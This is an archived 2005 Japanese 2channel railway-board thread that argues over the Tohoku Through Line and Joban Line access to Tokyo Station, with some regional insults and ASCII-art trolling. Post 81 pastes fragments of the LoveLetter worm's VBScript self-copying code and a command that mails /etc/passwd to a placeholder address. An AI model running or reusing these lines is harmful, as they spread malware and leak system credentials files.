5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【東海道】東北縦貫線2【高崎・宇都宮(常磐)】

1 :名無し野電車区:05/03/17 01:38:16 ID:ce1EMzEq
常磐線一応入れてやったぞ

2 :名無し野電車区:05/03/17 01:41:22 ID:6mstvTL2


3 :名無し野電車区:05/03/17 09:19:11 ID:rB2Ou/kQ
東海道・宇都宮・高崎線の普通・快速は全列車直通運転
宇都宮・高崎・常磐線の急行・特急は全列車東京発着

4 :名無し野電車区:05/03/17 18:50:08 ID:1ErxioLa
重複じゃ↓こっちへ

http://hobby7.2ch.net/test/read.cgi/rail/1110796208/l50

5 :名無し野電車区:05/03/17 22:27:47 ID:EVhYk0B8

.             | >>1
     , - 、_.'⌒ヽ.   | r‐┐r‐、ァァ r‐┐r‐┐ ┌‐u‐┐ー‐、 /1
   ., -       ノ   | |  | | ヽ. . | ||  |_ [  _  ] `ー'.ノ |
  (  、ー--j‐i'     | |_.ノ|..ノ  |_ノ |_.ノ└‐リ__ノ | ̄  .ノ @
   (   / Q Ql    | ._   _____ _n_  ̄ n    ̄ ̄
   .__ゝて __>    | |.|  └―, , ┘ニコ lニニ, lニニ .ニニl
  (   ( \ノノ    / .|.|  n  //   ^コ lニ^  (0 |
  `て ヽ. i'._     ̄|  、ー'ノ  ゙、`‐┐(o_,ヘ.〉  、ソ  ◎
   .'⌒i.、! ノ7lヽ   |   ̄     ̄
   l   l|ヽ'ヽ'|| l   r'て_
   |  |  ̄ ̄〉! /`r-='

6 :名無し野電車区:05/03/17 22:37:16 ID:FuFFSfh5
みんな風呂入ってるか?
服も週1で洗えよ。
くさいぞ。

7 :名無し野電車区:05/03/17 22:38:06 ID:f1hTVqX3
そうかなぁ

8 :名無し野電車区:05/03/18 15:11:11 ID:nd2aqT7x
age

9 :名無し野電車区:05/03/18 16:42:12 ID:ucC5nl7v
重複スレ

本スレはこちらですので、移動して下さい↓

【やっと】東北縦貫線【今年度着工へ】

http://hobby7.2ch.net/test/read.cgi/rail/1110796208/l50



10 :名無し野電車区:05/03/18 18:58:53 ID:hOQicLXT
>>9
そっちは1がアレ

11 :名無し野電車区:05/03/18 19:08:42 ID:W25nfuU4
東北線、高崎線のE231系は、投入より5年たった今なお120`運転が行われていないのに、
常磐線のE531系は、投入早々130`運転を行うのか・・・
東海道線内や横須賀線内でさえE231系は120`運転してるのに・・・

912 :つくばエクスプレス:JR東日本がダイヤ改正で対抗へ :05/03/18 03:53:31 ID:v2u07z7Z
 第三セクターの首都圏新都市鉄道が運行する「つくばエクスプレス」
(茨城・つくば−東京・秋葉原間、58.3キロ)の開業で、常磐線の
利用客流出が予想されるJR東日本は17日、7月に異例のダイヤ改正を実施し、
通勤特急の増発や特別快速電車の新設で対抗する方針を明らかにした。
 8月24日に同エクスプレスが開業すると、常磐線の利用客1日約140万人の
うち約10万人が流出、年間約120億円の減収と試算。さらに07年度には
山手線とほぼ同じルートを走る東京メトロ13号線(東京・池袋−渋谷間、
8.9キロ)が営業運転を始めることから先手を打つことにした。
 対抗策は(1)朝夕ラッシュ時間帯の通勤特急増発(2)上野−水戸−四ツ倉間に
特急列車と同じ時速130キロの最新型中距離電車を投入(3)昼間時間帯に
特別快速電車を新設−−などで、ダイヤ編成の最終調整を進めている。

毎日新聞 2005年3月18日 3時00分
http://www.mainichi-msn.co.jp/shakai/wadai/news/20050318k0000m040151000c.html

12 :名無し野電車区:05/03/19 05:08:59 ID:+2FAwts4
>東北線、高崎線のE231系は、投入より5年たった今なお120`運転が行われていないのに、

あのねえ、車両が120`対応でも、地上設備が120`対応じゃなきゃ駄目なのよ。
そんなことも分からんのですか?
これだから北関東田舎民は駄目なんだよ。

13 :名無し野電車区:05/03/19 09:08:31 ID:sky4zzuX
バカ、とっくに120対応だよ(w

14 :名無し野電車区:05/03/19 10:47:54 ID:gPKpYwt4
>>13
東北線の地上設備も120対応だっけ?

15 :名無し野電車区:05/03/19 12:30:48 ID:06Tx/NJR
前スレ

>まあ!なんて常磐線は恵まれているんでしょう。
これなら東京直通が少なくても文句をいえた義理ではないですね。おほほほほ。


あんたらだって231があるだろうが。
3線はあくまで平等であるべきだ。
なぜそう常磐線を差別する?
宇都宮・高崎だけ優遇という考えはもうやめてくれ。
常磐線も日中は特急(+特快?)も入る。


16 :名無し野電車区:05/03/19 12:35:18 ID:06Tx/NJR
>開通したらしたで
「東京5方面で東京駅まで直通でいける電車が無いのは常磐線だけだって。常磐線だっせー。」
とか言うトウホグ人大量ハセーイの悪寒

まったくだ。
絶対そういう宇都宮高崎厨が大量に出てくる。
自分たちはいい思いしてるのに、人まで馬鹿にするとは
よっぽど偉い人なんでしょうねw

17 :名無し野電車区:05/03/19 12:44:30 ID:2bCFYCN3

>>1

また 荒 れ そ う な ス レ タ イ にしやがって

18 :名無し野電車区:05/03/19 17:28:48 ID:06Tx/NJR
だが日中でも宇都宮・高崎線は結構の本数なのに
どうやって常磐特急(+特快〉が乗り入れるんだ?
まあ朝ラッシュは宇都宮・高崎限定だから
昼ぐらい常磐線を乗り入れさせてくれと思うが

19 :名無し野電車区:05/03/19 18:40:13 ID:P3N6eT8H
>だが日中でも宇都宮・高崎線は結構の本数なのに

東北線と高崎線が全部東京に入ってきても昼間は10本/時もないでしょ?
常磐線から特急(と特別快速)が3〜4本/入ってきても大丈夫じゃねえか?

20 :名無し野電車区:05/03/19 20:42:03 ID:s52J17kE
「東京5方面で東京駅まで直通でいける電車が無いのは常磐線だけだって。常磐線だっせー。」

新宿直通なら、それがないのは茨城以外に千葉もあるから、茨城人、めげるな。

21 :名無し野電車区:05/03/19 20:45:58 ID:3pPaXF1L
黄色い電車があるじゃないか

22 :名無し野電車区:05/03/19 21:15:12 ID:ZjPL1jaE
>>21
乗り換えなし、という条件なら東千葉、本千葉以東があてはまると思われ。

23 :名無し野電車区:05/03/19 21:18:19 ID:iEmKXceA
>>22
そんなこと行ったら23区内だって新宿直通がない駅あるって。

24 :名無し野電車区:05/03/19 22:14:21 ID:Eb84hJKC
>>20
古河は無視ですか、そうですか。

25 :名無し野電車区:05/03/20 00:56:31 ID:oUFI6EkN
>>24
古河町民は茨城県という意識はあるのか?

26 :名無し野電車区:05/03/20 02:26:11 ID:UL8MZjVe
>>25
茨城の西端なので千葉県か埼玉県の一部だと思っていると思う。

27 :名無し野電車区:05/03/20 15:12:58 ID:pjZqQpO7
重複スレ

本スレはこちらですので、移動して下さい↓

【やっと】東北縦貫線【今年度着工へ】

http://hobby7.2ch.net/test/read.cgi/rail/1110796208/l50




28 :名無し野電車区:05/03/21 00:08:19 ID:FYlp4n+7
>>26

つくば市内で朝○新聞を買って、地域面を開いたら、「茨城首都圏版」と書いてあった。

茨城が首都圏???

29 :名無し野電車区:05/03/21 00:45:07 ID:N/+brqBL
>>28
「茨城+首都圏」という意味ではないか。

30 :名無し野電車区:05/03/21 00:45:17 ID:QODt8xyu
>>28
茨城 と 首都圏 版。

31 :名無し野電車区:2005/03/23(水) 15:08:55 ID:Ln3MLeJO
ttp://www4.yi-web.com/%7Ealex_/upload/karimasu/view.php/2848.jpg

32 :名無し野電車区:2005/03/24(木) 09:46:48 ID:gu0AW7b5
http://shinonome.osareku.net/report/e531/list.html

のサイトの「E531系行先対照表」を見る限り、
東京の表示がないので、
東北縦貫線開業時に常磐中電が東京駅に乗り入れる可能性はなさそうだ。
良かったね常磐厨w


33 :名無し野電車区:2005/03/24(木) 19:27:11 ID:+cXpz+Qn
東海道は、南千住まで直通運転してほしい

34 :名無し野電車区:2005/03/24(木) 22:15:59 ID:Z1+6CloY
>>32
非常磐厨ですが、LEDだったらプログラマブルですからいつでも新規の追加や変更が
可能かと。

方向幕を作るコストってやっぱバカにならないんだろうなあ。

35 :名無し野電車区:2005/03/27(日) 11:40:55 ID:9uQGpEZr
>>32
昨日、熱海まで延長運転された湘南新宿ラインは、しっかりと
「特別快速 熱海」と表示していたそうだ。
まだ縦貫線完成まで5年くらいあるから、その間に「東京」行を追加するのは
可能でしょう。

36 :名無し野電車区:2005/03/27(日) 12:17:04 ID:sf3cbhCh
まぁソフト修正すればいいんだから、とりあえず線路がつながってからでも十分だな

37 :名無し野電車区:2005/03/27(日) 16:07:06 ID:Ue0RZk9A
なんだかよく分からないのでとりあえず縦貫線開業後の東京駅を置いときますね。

―――――――――――――――――――――――――――――――――――――――――――――――――――
******\******\***┏━━━━━━━━━━━━━━━┓***/*************
*******\******\**┃F縦貫線北行#########┃**/**************
――――――――\******\*┃G常磐線特急&縦貫線北行###┃*/―――――――――――――――
*\*******\******\┗━━━━━━━━━━━━━━━┛/***/**********/*
**\*******\**×――――――――――――――――――――***/**********/**
***\*******ー――――――――――――――――――――――――――――――――×**/***
****\***×*******/┏━━━━━━━━━━━━━━━┓*****/******/****
*****\***\_____/*┃H東海道線特急&縦貫線南行##┃****/******/*****
******\********\*┃I縦貫線南行#########┃***/******/******
*******\********\┗━━━━━━━━━━━━━━━┛**/******/*******
********―――――――――――――――――――――――――――――――――――********

38 :名無し野電車区:2005/03/27(日) 21:16:28 ID:O6Vaq5ZI
>>1
氏ね。常磐入れるな。

39 :名無し野電車区:2005/03/28(月) 18:20:18 ID:hK3d41U4
特別急行と特別快速くらい入れてやれよ。

40 :名無し野電車区:2005/03/28(月) 18:25:12 ID:F1CSoKIH
常磐線快速を湘南新宿ラインに取り込みたい・・・

東海道線→山手貨物線へのルートさえあれば・・・

41 :名無し野電車区:2005/03/28(月) 21:48:44 ID:x/1fge8l
>>40



42 :名無し野電車区:2005/03/28(月) 22:26:16 ID:4Y2oYDVM
常磐湘南ラインでも作ってやれよ。

43 :名無し野電車区:2005/03/28(月) 22:56:28 ID:fl5w1WHV
素人考えなのですが、常磐線って日暮里駅で京浜東北線に接続することはできないの?
京浜常磐線ってのはどうかな

44 :名無し野電車区:2005/03/28(月) 22:59:10 ID:1svZ62O3
素人ならおとなしくしてなさい

45 :名無し野電車区:2005/03/29(火) 14:24:10 ID:cAzsQt96
>>43
いろんなところにマルチすんじゃねえよカス

46 :名無し野電車区:2005/03/30(水) 01:17:52 ID:nioRUETy
>>42
だからそれは縦貫線経由で東海道線直通

47 :名無し野電車区:2005/03/31(木) 01:38:22 ID:udVoqunj
いま必要なのは、常磐新宿ラインだあ

48 :名無し野電車区:2005/03/31(木) 03:47:10 ID:KBiSuuak
だから常磐は入れない方が良かったんだよ
次スレは常磐抜きキボン

49 :名無し野電車区:2005/04/03(日) 08:25:40 ID:NmKYOD4D
重複スレに次はありませんから〜
残念ゥ

50 :名無し野電車区:2005/04/03(日) 13:47:16 ID:HEI0WTAi
何となく上野駅が終着駅でなくなるのって寂しくありません?


51 :名無し野電車区:2005/04/03(日) 14:05:08 ID:fd8QU3m9
全然
便利になるから直通の方がいい

52 :名無し野電車区:2005/04/04(月) 07:35:37 ID:R/DarMZ3
>>51
でも東京まで行ければ十分な気がする。
上野や大宮に1本で行けるようになってもねえ・・・

53 :名無し野電車区:2005/04/04(月) 09:36:01 ID:HxOpEF0G
>>28
首都圏=関東+山梨
おまいら常識知らねぇな

54 :名無し野電車区:2005/04/04(月) 09:50:44 ID:tTYqxjMF
>>53
ってTVで見た直後にさも昔から知ってたか如くひけらかされてもねえ...

55 :名無し野電車区:2005/04/04(月) 10:43:49 ID:Jm+e8UTH
>>50
確かに寂しいっていえば寂しいけど
東京行きや東海道線直通の方が便利だな。

56 :名無し野電車区:2005/04/04(月) 13:23:13 ID:0+iopdOd
>>53
え〜。茨城・栃木・群馬・山梨が「首都圏」ですかあ〜?
関東地方とは思うけど。

57 :名無し野電車区:2005/04/04(月) 13:26:51 ID:UOEnLnab
>>53
山梨は東京の衛星都市

58 :名無し野電車区:2005/04/04(月) 13:51:32 ID:EqrCEz7S
狭義広義ぐらいわかれ

59 :名無し野電車区:2005/04/04(月) 21:15:18 ID:BJFqNs15
無条件に東京神奈川埼玉千葉の外れの田舎までもが首都圏扱いされるのが気に入らない!
だから>>56のような香具師が図に乗るわけで


60 :名無し野電車区:2005/04/04(月) 22:48:56 ID:NOdWCiHR
山梨県は中部地方じゃないの?

61 :名無し野電車区:2005/04/04(月) 23:19:09 ID:5Wh2/v2o
>>59
気に入らなかろうが国の定義なんだから甘受しろ。
区別するために「東京圏」という言葉があるんだからそれ使え。
文句があるなら国交省あたりに言え。北関東人の俺に言われても困る。

>>60
中部地方で、なおかつ首都圏ですよ。

62 :名無し野電車区:2005/04/06(水) 10:59:22 ID:4Xg9QZUE
いや常磐中電も新宿より東京乗り入れのほうが絶対いい
新宿方面はもう容量がない

63 :名無し野電車区:2005/04/06(水) 11:01:58 ID:4Xg9QZUE
一応常磐線も対象になってる。

64 :名無し野電車区:2005/04/06(水) 12:10:54 ID:dah5cciC
常磐線中電ユーザーとして、中途半端な東京乗り入れより
松戸での千代田線乗換えを完璧に同一ホームにしてもらった方が
いいわん。

65 :名無し野電車区:2005/04/06(水) 12:28:03 ID:g+HND1Gg
柏駅でも千代田線乗換えを完璧に同一ホームにしてもらった方が
いいわん。

66 :名無し野電車区:2005/04/06(水) 17:35:26 ID:Kqh/tIK1
我孫(ry

67 :名無し野電車区:2005/04/06(水) 20:59:22 ID:T8THfEz0
すっかり常磐廚のたまり場になったな
仲間ハズレの吹き溜まりスレ

68 :名無し野電車区:2005/04/07(木) 02:50:13 ID:C1CWszdF
東海道は全部乗り入れ、
宇都宮・高崎はそれぞれ東海道の半数ずつ。
常磐は特急東京行き時間2本特急以外品川行き時間2本
朝ラッシュ時のみ特急以外のみ時間3本品川行きがせいぜいだろうね。

69 :名無し野電車区:2005/04/07(木) 13:39:29 ID:66DzWYNV
宇都宮・高崎ばかり優先されるのはいただけない。

70 :名無し野電車区:2005/04/07(木) 15:56:36 ID:66DzWYNV
2005/04/07(木) いばらき
実現に「追い風」 TX・常磐線東京駅に 国交省

 都市鉄道の速達性向上などを目指し、国会で審議中の
「都市鉄道利便増進法案」について、国土交通省は六日、
つくばエクスプレス(TX)の東京駅延伸と
常磐線の東京駅乗り入れの両計画も適用範囲に含まれるとの
認識を示した。同法案は今国会で成立の見通しで、
両計画の早期実現に向けた「追い風」としても期待されそうだ。
衆院国交委で葉梨康弘氏(茨城三区)の質問に答えた。
 法案は都市鉄道の速達性向上、交通結節機能の高度化への支援が柱。
短絡線整備に加え、大都市ターミナル駅の乗り換えを
円滑化させる大規模改造費などを、国や地方自治体などが
分散して負担するというもの。
 八月二十四日開業のTXと常磐線の東京駅乗り入れについて、
国交省側は「速達性向上の対象事業となりうる」として、
両計画が同法の適用範囲であることを示した。
 TX延伸計画は現在、同省や沿線一都三県などが検討を進め、
秋葉原からの事業費(二`)を約一千億円と試算。
仮に同法が適用された場合、費用の三分の一を国が負担する
ことになるという。


でもこれはあくまで国の計画だから・・・

71 :名無し野電車区:2005/04/07(木) 15:59:18 ID:66DzWYNV
でも乗入れすべきだ。

72 :名無し野電車区:2005/04/07(木) 16:10:04 ID:RVdoRI+z
525 :名無し野電車区 :2005/04/07(木) 15:58:20 ID:66DzWYNV
http://hobby7.2ch.net/test/read.cgi/rail/1110991096/l50

これが本スレ。
ここは今日から廃棄処分で


73 :名無し野電車区:2005/04/07(木) 16:11:25 ID:RVdoRI+z
http://hobby7.2ch.net/test/read.cgi/rail/1110796208/l50

↑これが本スレ。
ここは今日から廃棄処分で

74 :名無し野電車区:2005/04/07(木) 16:14:00 ID:RVdoRI+z
http://hobby7.2ch.net/test/read.cgi/rail/1107942794/l50



75 :名無し野電車区:2005/04/07(木) 16:29:48 ID:LexZKUVw
ID:66DzWYNVは


      ■■■                          ■■■     
    ■厨厨厨■                      ■■■■■    
    ■厨厨厨厨■                  ■■■■■■   
    ■厨厨厨厨厨■              ■■■■■■■    
    ■厨厨厨厨厨厨■          ■■■■■■■■    
    ■厨厨厨厨厨厨厨■      ■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨■■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
      ■厨厨厨厨厨厨厨厨■■■■■■■■■■     
        ■厨厨厨厨厨厨厨■■■■■■■■■      
          ■厨厨厨厨厨厨■■■■■■■■       
            ■厨厨厨厨厨■■■■■■■        
              ■厨厨厨厨■■■■■■         
                ■厨厨厨■■■■■          
                  ■厨厨■■■■           
                    ■厨■■■            
                      ■■■



76 :名無し野電車区:2005/04/07(木) 16:31:34 ID:LexZKUVw

何について調べますか?

 ───────────────
| 何について調べますか?
| ┌────────────┐
| | ID:66DzWYNVを消す方法  |
| |                   |
| └────────────┘
| [ オプション(O) ]   [ 検索(S) ]
| 
`──────────┐ ┌───
           , '´l,  ..| ./
       , -─-'- 、i_  |/
    __, '´       ヽ、
   ',ー-- ●       ヽ、
    `"'ゝ、_          ',
      〈`'ー;==ヽ、〈ー- 、 !
       `ー´    ヽi`ヽ iノ
                ! /
              r'´、ヽ
              `´ヽノ

77 :名無し野電車区:2005/04/07(木) 16:32:47 ID:LexZKUVw

   /⌒⌒γ⌒ 、
  /      γ   ヽ
  l       γ   ヽ
 l   i"´  ̄`^´ ̄`゛i |
 |   |         | |
 ヽ  / ,へ    ,へ ヽ./
  !、/   一   一 V  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |6|      |     .|  | さぁ、糞スレに誘導しようとしたID:66DzWYNVは
  ヽl   /( 、, )\  )<|  死刑でしょうか!
   |   ヽ ヽ二フ ) /  |  史上最強の弁護士軍団の答えは!
   丶        .ノ    \_________________
    | \ ヽ、_,ノ
   . |    ー-イ
        ∧_∧    ((((( ))))    ∧__∧    ∧_∧
       ( @∀@)   ○(( ´∀`)    (□∀□)   ( ・∀・)
       (     )   (    )   (     )   (    )
     ┏━━━━━┳━━━━━┳━━━━━┳━━━━━┓
     ┃┏━━━┓┃┏━━━┓┃┏━━━┓┃┏━━━┓┃
     ┃┃ 死刑 ┃┃┃ 死刑 ┃┃┃ 死刑 ┃┃┃ 死刑 ┃┃
     ┃┗━━━┛┃┗━━━┛┃┗━━━┛┃┗━━━┛┃
     ┗━━━━━┻━━━━━┻━━━━━┻━━━━━┛
 /    バ   ー   ー   ー   ー   ー   ー   ー   ン   \

78 :名無し野電車区:2005/04/07(木) 16:41:00 ID:66DzWYNV
   /⌒⌒γ⌒ 、
  /      γ   ヽ
  l       γ   ヽ
 l   i"´  ̄`^´ ̄`゛i |
 |   |         | |
 ヽ  / ,へ    ,へ ヽ./
  !、/   一   一 V  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |6|      |     .|  | さぁ、ID:66DzWYNVに暴言をはいたID:LexZKUVwは
  ヽl   /( 、, )\  )<|  死刑でしょうか!
   |   ヽ ヽ二フ ) /  |  史上最強の弁護士軍団の答えは!
   丶        .ノ    \_________________
    | \ ヽ、_,ノ
   . |    ー-イ
        ∧_∧    ((((( ))))    ∧__∧    ∧_∧
       ( @∀@)   ○(( ´∀`)    (□∀□)   ( ・∀・)
       (     )   (    )   (     )   (    )
     ┏━━━━━┳━━━━━┳━━━━━┳━━━━━┓
     ┃┏━━━┓┃┏━━━┓┃┏━━━┓┃┏━━━┓┃
     ┃┃ 死刑 ┃┃┃ 死刑 ┃┃┃ 死刑 ┃┃┃ 死刑 ┃┃
     ┃┗━━━┛┃┗━━━┛┃┗━━━┛┃┗━━━┛┃
     ┗━━━━━┻━━━━━┻━━━━━┻━━━━━┛
 /    バ   ー   ー   ー   ー   ー   ー   ー   ン   \

79 :名無し野電車区:2005/04/07(木) 16:44:31 ID:66DzWYNV
柏は快速も特快も中電も緩行も通過しる。
柏レイソルも松戸レイソルに改名しる。
そごうも高島屋も丸井もVATも松戸へ移転しる。



80 :名無し野電車区:2005/04/07(木) 16:48:56 ID:RVdoRI+z
526 :名無し野電車区 :2005/04/07(木) 16:37:58 ID:k7ol22nl

    /三ミミ、y;)ヽ
   /三 ミミ、ソノノ、ヾ、}
   ,':,' __  `´ __ `Y:}
   }::! { : :`、 ,´: : j !:!
   {:|‐=・=‐ i !‐=・=‐|:}   
  r(   / しヘ、  )j    あなた地獄へ逝くわよ>>ID:66DzWYNV
  g !  ` !-=‐!´ ,ノg   
    \._ヽ _´_ノ ソ          
  __,/ ヽー ,/\___
  |.:::::.《  ヽー/  》.::.〈
 //.:::.`\      /'.:::.ヽ\


527 :名無し野電車区 :2005/04/07(木) 16:43:23 ID:66DzWYNV
>>526
暴言をはくな!




81 :名無し野電車区:2005/04/07(木) 16:50:10 ID:7DGwpnJZ
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

82 :名無し野電車区:2005/04/07(木) 16:59:43 ID:GKDEChhq
「これでいいのか特急列車」(寺本光照、川島令三著 1989年刊)を読んだ人
いますか。この本の175ページを見ていると『高速道路と対決するには130キ
ロ運転では不可能である。表定速度110キロ以上にするには160キロ運転が必
要である。常磐線は半径1400メートル以上の曲線、つまり振り子電車による1
60キロ運転可能な線路の割合が75パーセントもあるのだからなおさらである。

しかし、651系ではそれができない。将来、他線区にスーパー特急が実現すると、
色あわせなものになる。結局、651系は過渡期の車両といえる。
ただし、651系の160キロ運転は半径1800m以上で可能である。非振り子
での160キロ運転により、上野ー水戸間は一時間以内となり、約40分の短縮に
もなる。JR東日本は160キロ運転をこの「スーパーひたち」でやろうとしてい
る。しかも、特認扱いなしの予定で計画している。このため、非常制動時に、うず
電流ブレーキを使って600メートル以内で止めるつもりだ。しかし、このブレー
キの開発を鉄道総合技術研究所(鉄道総研)の手を借りずに、独自の技術陣でやる
という。だから、160キロ運転の実現はまだまだ先(といっても5、6年後)に
なると考えられる。
本来なら、資金を提供している鉄道総研の技術を使えばいいのに、リーディングカ
ンパニーという自負があるためかそれをしない。旧国鉄の部局間の縄張り感覚が残
っているのを垣間見た感がある。これでは研究の二重手間である。
逆にJR西日本では、現在開発中の振り子式のスーパー特急で「スーパー雷鳥」の
160キロ運転を特認で行い、ブレーキも問題が多少残るうず電流方式にせず(こ
の方式も検討はされているが)、踏切を160キロ対応にして行う予定である。ど
ちらが実現するか火を見るより明らかであろう。
常磐線は新幹線計画がないから、「ひたち」の高速化をはからなくてはならない。
スーパー特急を投入しての160キロ、いやそれ以上の200キロ運転をめざして
軌道や駅設備の改善に努めるべきである。』(「これでいいのか特急列車」175
ページから引用)と書いてありました。常磐線に160キロ運転の計画があるなん
て知りませんでした。

83 :名無し野電車区:2005/04/07(木) 19:12:35 ID:0hQz8smz
色あわせなもの、にゃワロタ

84 :名無し野電車区:2005/04/07(木) 20:25:22 ID:M1aoFApK
酷いスレだな・・・
まあ、常磐民も一部のイヴァが勝手な事を言ってるだけだからな
快速電車沿線民無視で勝手な事をしてる以上、相手にされなくなっても仕方ない

85 :名無し野電車区:2005/04/07(木) 21:39:24 ID:t8qkcgiY
高速バスが表定110キロで走ってたらアレだが、
110とか出るのは空いてる高速道路上だけだよな。
高速に乗る前・降りた後が入ってない。

86 :名無し野電車区:2005/04/07(木) 23:08:46 ID:66DzWYNV
常磐中電も乗入れたって・・・・・

87 :名無し野電車区:2005/04/08(金) 17:00:51 ID:alQJdX1M
まだ、成田特快が走る方が他の沿線にとってはマシだよな
何もないイバ方面に行くよりもさ
偶然にもTX対策で沿線の運賃も下がるだろうし

中電は取手止まりにして、代わりに各駅停車を取手まで伸ばせば、解決
取手民にとっては、この方が特だろ どうせ、昼間に各駅が来ても乗らないだろ
特急は東京まで延びるしから、水戸支社的にもグッド
遠くの事故の影響もなくなるし、快速線の人ら(松戸や北千住民)にも恩恵が来る
直通は成田特快くらいならありかのう 一時間に1本として
成田線内は各駅で、我孫子から先の快速線内で通過をする
場合によっては新金線経由で新宿経由もあり

そもそも、快速区間の奴らはそんなに遠くないから、上野止まりでも平気だしな
全体の迷惑を考えずにゴリ押しばかりしてる奴らは痛すぎ

88 :名無し野電車区:2005/04/08(金) 17:04:10 ID:NfOKOHG5
正直、東海道民は態度がでかい

89 :名無し野電車区:2005/04/08(金) 17:14:36 ID:LgjXlUtq
常磐>高崎>東北

東北方面と高崎方面は新幹線があるから東京乗り入れ不要

90 :名無し野電車区:2005/04/08(金) 17:23:03 ID:TrZtuwl6
なんか最近、常磐厨?の打たれ強さには煙たさより、脱帽の念と悲哀を
感じるようになってしまった。これ危険ですかw?

91 :名無し野電車区:2005/04/08(金) 18:14:14 ID:dtXKhSm/
そんなものより脳内常磐スルーの術を習得しる > 90

92 :千葉県に住宅を買う予定のある皆様へ:2005/04/08(金) 18:15:32 ID:a5Jt1Mdu
このスレは、千葉県の中でも特に交通の不便な地域である
常磐線沿線に在住の人々が、少しでも都心へのルートを改善させたいという
欲求を満たすべく「常磐線を東海道線に乗り入れさせろ!」と主張するスレです。

常磐線は、他線に比べてターミナルが貧弱なことで有名であり、
日中は電車の本数も少なく、さらに各駅停車は千代田線に乗り入れる関係で
必要以上に不便な乗り換えを強いられているというのが現状です。
そのために、このようなスレで日頃の鬱憤を晴らそうとしてしまうのでしょう。

もしあなたが千葉県に住宅を購入しようとしているのであれば、
多少値段は上がりますが総武線沿線に住むことを強くおすすめします。
通勤の利便性のほか、精神面での余裕も違います。
もちろん車内で酒盛りをする乗客も目立ちませんしね。

93 :名無し野電車区:2005/04/08(金) 18:41:59 ID:LgjXlUtq
__小鴨国二大平茅辻藤大戸横川品新東上日三南北松柏我天取藤佐牛野荒土
__田宮府宮磯塚崎堂沢船塚浜崎川橋京野暮河千千戸_孫王手代貫久牛川浦
特快●―●――●●―●―●●―●―●●●――●―●――●―●●――●
普通================●●●●●●●●●●●●●●●●
普通●●●●●●●●●●●●●●●●●→東北本線
快速=====●●●●●●●●●●●●●●●●●●●●●

94 :竜太:2005/04/08(金) 18:47:20 ID:snd4V051
茨城と栃木、群馬の人口、産業統計などわかってるのか。数字見てから言えよ。海に面しているかいないかでかなり違うぞ。茨城は一極集中でなくまんべんなく人がいる。宇都宮、前橋、高崎に集中とは違う。

95 :名無し野電車区:2005/04/08(金) 18:51:31 ID:a3GnlIjT

      ■■■                          ■■■     
    ■厨厨厨■                      ■■■■■    
    ■厨厨厨厨■                  ■■■■■■   
    ■厨厨厨厨厨■              ■■■■■■■    
    ■厨厨厨厨厨厨■          ■■■■■■■■    
    ■厨厨厨厨厨厨厨■      ■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨■■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
    ■厨厨厨厨厨厨厨厨厨■■■■■■■■■■■    
      ■厨厨厨厨厨厨厨厨■■■■■■■■■■     
        ■厨厨厨厨厨厨厨■■■■■■■■■      
          ■厨厨厨厨厨厨■■■■■■■■       
            ■厨厨厨厨厨■■■■■■■        
              ■厨厨厨厨■■■■■■         
                ■厨厨厨■■■■■          
                  ■厨厨■■■■           
                    ■厨■■■            
                      ■■■



96 :名無し野電車区:2005/04/08(金) 19:26:14 ID:fsKs/uGf
定期について質問なのですが、
JRのHPで定期代検索を利用して、
茅ケ崎⇔池袋 を調べたところ
「東海道本線,品川,山手線1,代々木,中央東線,新宿,山手線2」
と出たのですがこの意味がわかりません。
茅ケ崎、池袋間を通学に利用できる線を教えてください。
経由っていうのもよくわかりません・・・。


97 :名無し野電車区:2005/04/08(金) 20:04:40 ID:1kciNnd8
>>92
総武線でも、千葉以東は断じてオススメできません。


98 :名無し野電車区:2005/04/08(金) 20:05:30 ID:9AhktL6y
このスレはとうとう常磐廚の無法地帯になったな
妄想もいいけど事件は起こさないでね。
それより先にグリーン車無いと東京駅乗り入れや直通運転は出来ないと思ふ。
せっかく531出来たのに、残念だったね

99 :はしのえみを@つくばエクスプレス車掌見習い:2005/04/08(金) 20:09:35 ID:ubLBi+X8
100?

